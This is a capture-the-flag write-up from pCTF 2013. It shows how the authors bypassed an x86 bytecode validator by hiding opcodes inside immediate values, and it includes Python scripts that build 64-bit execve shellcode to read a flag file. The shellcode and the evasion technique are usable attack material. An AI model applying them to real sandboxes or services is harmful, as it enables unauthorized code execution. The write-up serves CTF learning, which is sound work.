26
Apr
2013

pCTF 2013 – cheap (misc 100)

What could this mysterious architecture be?

For this challenge we had access to a remote service without any additional information on what to do or what to look for.


We connected to the service and sent some garbage to see what it could be:

echo test123 | nc 50.17.171.79 9998
cheap
0000: JZ	i1	{'imm': [101], 'reg': []}
0002: JNC	i1	{'imm': [116], 'reg': []}
XXXX: XORTO	-r	{'imm': [], 'reg': [(6, 2, True, 0)]}
0006: XOR	-r	{'imm': [], 'reg': [(1, 2, True, 0)]}
Bad assembly, not executing.

It looks like our input is treated as x86 bytecode and validated. Let’s see what happens when we send some valid byte code to it:

echo -en '\x90\x90\xc3' | nc 50.17.171.79 9998
cheap
0000: NOP		{'imm': [], 'reg': []}
0001: NOP		{'imm': [], 'reg': []}
0002: RETN		{'imm': [], 'reg': []}
1

So it seems we can send arbitrary code to the VM and it will execute it for us. Unfortunately as soon as we try to do anything useful like calling an interrupt it tells us the assembly is bad and it won’t execute our code.

echo -en '\xcd\x80' | nc 50.17.171.79 9998
cheap
0000: XXXX	cd
0001: XXXX	80
Bad assembly, not executing.

Also if we try to use any registers other than eax, ebx, ecx, edx we get the same error. If we want to run any useful shell code we will need to find some way to work around this validation. We decided to try a trick which we used before in a different context (JIT spray exploits) where we use an allowed opcode with a large immediate value and jump into the middle of it to execute another instruction.

For example if we want to call int 80 (instructions \xcd\x80) we instead use two other instructions which are allowed and which will have the same result when executed:

   0:   eb 01                   jmp    0x3
   2:   b8 cd 80 90 90          mov    eax,0x909080cd

When statically analysed this code looks like it consists of a jmp and a mov instruction. When actually executed however the jmp will actually skip the first byte of the mov instruction and the code that will be executed is ‘cd809090’ (int 80, nop, nop) instead of ‘b8cd809090’ (mov eax,0x909080cd).

Okay, now we can execute arbitrary instructions. Let’s use that to get a shell. This turned out to be a lot harder than we thought. We were unable to get even the easiest shellcodes (i.e. write AAAAAAAA) running and it took us hours to figure out why. Finally we managed to get a working write AAAAAAAA shellcode, by first setting the esp to ecx + 128 which turns out to be a writeable address.

import os,struct
regs = ('eax','ecx','edx','ebx')

def fix(a):
    assert((len(a)/2) <= 4)
    return 'eb01b8' + a + '90' * (4-len(a)/2)


def mov(r,v):
    r = regs.index(r)
    assert(r != -1)
    f = '%X' % (0xb8 + r)
    f += struct.pack("<L",v).encode('hex')
    return f

server = '50.17.171.79'
port = 9998

o = ''
o += mov('eax',128)
o += '01c1' # add ecx, eax
o += fix('89cc') # mov esp,ecx
o += '6841414141' # push 0x41414141
o += '6841414141' # push 0x41414141

o += mov('eax',4) # 4 = write
o += mov('ebx',1) # fd
o += fix('89e1') # mov ecx,esp buffer to write
o += mov('edx',64) # nr of bytes

o += fix('cd80')

f = open('payload','w')
f.write(o.decode('hex'))
f.close()

print os.popen('(cat payload; sleep 1) | nc %s %s' % (server,port)).read()

This produced the following hex output:

....
0000230: 273a 205b 3234 3235 3338 3932 3631 5d2c  ': [2425389261],
0000240: 2027 7265 6727 3a20 5b30 5d7d 0a41 4141   'reg': [0]}.AAA
0000250: 4100 0000 0041 4141 4100 0000 0000 0000  A....AAAA.......
0000260: 0000 0000 0000 0000 0000 0000 0000 0000  ................

In the output we noticed there were extra 00000000 bytes after the first AAAA which was pushed, this is when we finally realised what was causing all our attempts to fail: the code is running in 64-bit mode instead of 32 which the validator makes us believe.

Once we realized the code was 64-bit it didn’t take us much longer to cook up a working exploit:

import re,random,os,sys,struct
regs = ('eax','ecx','edx','ebx')
def fix(a):
    assert((len(a)/2) <= 4)
    return 'eb01b8' + a + '90' * (4-len(a)/2)

def mov(r, v):
    r = regs.index(r)
    assert(r != -1)
    f = '%X' % (0xb8 + r)
    f += struct.pack("<L", v).encode('hex')
    return f

def push(v):
    f = '68'
    f += struct.pack("<L", v).encode('hex')
    return f

def load64(imm):
    return (
        mov('eax', ((imm >> 32) % 2**32)) +
        fix('48c1e020') + # shl rax, 32
        fix('4989c4') + # mov r12, rax
        mov('eax', (imm % 2**32)) +
        fix('4901c4') + # add r12, rax
        '')

server = '50.17.171.79'
port = 9998

o = ''

o += load64(0x7461632f6e69622f) # /bin/cat
o += '31c0' # xor eax, eax
o += '50' # push rax
o += fix('4154') # push r12

o += '31c0' # xor eax, eax
o += fix('54') # push rsp
o += fix('5f') # pop rdi
o += fix('99') # cdq

o += '31c0' # xor eax, eax
o += '50' # push rax
o += load64(0x67616c662f706165) # eap/flag
o += fix('4154') # push r12
o += load64(0x68632f656d6f682f) # /home/ch
o += fix('4154') # push r12
o += '31c0' # xor eax, eax
o += fix('4989e5') # mov r13, rsp

o += '52' # push rdx
o += fix('4155') # push r13
o += fix('57') # push rdi

o += fix('54') # push rsp
o += fix('5e') # pop rsi
o += fix('b03b') # mov al,3
o += fix('0f05') # syscall

f = open('payload','w')
f.write(o.decode('hex'))
f.close()

print  os.popen('(cat payload; sleep 1) | nc %s %s' % (server,port)).read()

This finally yields the flag: bro_do_you_even_x86_64_RISC

A hell of a lot of work for 100 points… if only we had realised it was 64-bit sooner..

Comments are closed.